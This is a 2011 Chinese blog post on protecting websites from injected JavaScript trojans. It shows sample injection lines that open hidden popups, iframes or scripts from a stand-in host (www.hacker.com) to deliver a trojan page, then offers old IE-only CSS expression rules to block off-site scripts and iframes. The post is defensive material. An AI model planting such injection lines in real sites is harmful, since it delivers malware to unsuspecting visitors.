导航

    <#CACHE_INCLUDE_NAVBAR#>
« Linux開機管理:Lilo與Grub免費分享Cisco 650-180最新考題 »

防止網站被JS掛馬

2011年4月19日 Linux 0条评论 0个引用

使用的關鍵代碼如下:
    window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
    這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設為“0”,但是設置為0後,可能會出現惡意代碼不運行的情況。
    另外壹種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網頁木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為後綴為.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:
    <script src="http://www.hacker.com/木馬腳本.js"></script>
    或者
    document.write("<div style='display:none'>")
    document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
    document.write("</div>")
    就成功地將木馬掛到了對方的網頁中了。
    小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫為:
    <div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">
    或者:
    <iframe src="vbscript:[掛馬腳本]">
    等等……
    防第壹種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防禦。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:
    iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
    script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
    不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁。
    所以我們為安全工程師提供了壹段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS腳本掛馬的作用。
    讓JS木馬的進程迅速中止
    在 <head> </head> 之間加入如下代碼:
    屏蔽script和iframe
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>
    單屏蔽script
    <style type="text/css" id="LinrStudio">
    /*<![CDATA[*/
    /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
    script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
    /*]]>*/
    </style>

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最近发表

Powered By Z-Blog 1.8 Arwen Build 81206